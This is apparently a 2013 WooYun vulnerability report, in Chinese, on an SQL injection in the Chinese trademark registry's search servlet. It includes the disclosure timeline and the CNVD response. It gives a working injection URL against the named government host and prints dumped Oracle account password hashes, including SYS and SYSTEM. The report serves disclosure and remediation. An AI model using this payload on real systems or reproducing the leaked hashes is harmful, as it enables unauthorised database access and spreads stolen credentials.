当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018945

漏洞标题:中国国家工商行政管理总局SQL注射漏洞 -- 企业注册商标信息

相关厂商:中华人民共和国国家工商行政管理总局

漏洞作者: 路人甲

提交时间:2013-02-20 13:00

修复时间:2013-04-06 13:00

公开时间:2013-04-06 13:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-20: 细节已通知厂商并且等待厂商处理中
2013-02-23: 厂商已经确认,细节仅向厂商公开
2013-03-05: 细节向核心白帽子及相关领域专家公开
2013-03-15: 细节向普通白帽子公开
2013-03-25: 细节向实习白帽子公开
2013-04-06: 细节向公众公开

简要描述:

就是企业申请注册商标的地方啦,问题很多,要是被人把已经注册的商标删除就不开心了是不?

详细说明:

想注册个商标,查询的时候看这个url貌似有点问题

1.png


单引号sql报错了

2.png


一个字符型注射

3.png


http://sbcx.saic.gov.cn/trade/servlet?Search=SX_SelectGS&RegNO=97198'%20and%20'a'='a&IntCls=9
到底有多少个自己发现吧。。。。。忒多

漏洞证明:

database management system users password hashes:
[*] _NEXT_USER [1]:
password hash: NULL
[*] AQ_ADMINISTRATOR_ROLE [1]:
password hash: NULL
[*] AQ_USER_ROLE [1]:
password hash: NULL
[*] CONNECT [1]:
password hash: NULL
[*] DBA [1]:
password hash: NULL
[*] DBSNMP [1]:
password hash: E066D214D5421CCC
[*] DELETE_CATALOG_ROLE [1]:
password hash: NULL
[*] EXECUTE_CATALOG_ROLE [1]:
password hash: NULL
[*] EXP_FULL_DATABASE [1]:
password hash: NULL
[*] GATHER_SYSTEM_STATISTICS [1]:
password hash: NULL
[*] GLOBAL_AQ_USER_ROLE [1]:
password hash: GLOBAL
[*] HS_ADMIN_ROLE [1]:
password hash: NULL
[*] IMP_FULL_DATABASE [1]:
password hash: NULL
[*] LOGSTDBY_ADMINISTRATOR [1]:
password hash: NULL
[*] OEM_MONITOR [1]:
password hash: NULL
[*] OUTLN [1]:
password hash: 4A3BA55E08595C81
[*] PUBLIC [1]:
password hash: NULL
[*] RECOVERY_CATALOG_OWNER [1]:
password hash: NULL
[*] RESOURCE [1]:
password hash: NULL
[*] SA [1]:
password hash: FB02CF6EC299DA1F
[*] SELECT_CATALOG_ROLE [1]:
password hash: NULL
[*] SYS [1]:
password hash: 49F8BCF0CDB5E7AE
[*] SYSTEM [1]:
password hash: 1C4DCFBD345E90B1
[*] WM_ADMIN_ROLE [1]:
password hash: NULL
[*] WMSYS [1]:
password hash: 7C9BA362F8314299


只给部分数据证明吧

5.png


看看当前库,TMINFO,额,trademark info?商标信息库吧

6.png

修复方案:

注射漏洞,这俩解决了还有好多,肿么办?

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-02-23 22:10

厂商回复:

CNVD确认并复现所述情况,已在22日向国家上级信息安全协调机构上报,由其协调国家工商行政管理总局信息化主管部门处置。
按完全影响机密性进行评分,基本危害评分7.79(高危),发现难度系数1.0,涉及行业或单位影响系数:1.3(子站),综合rank=10.127

最新状态:

暂无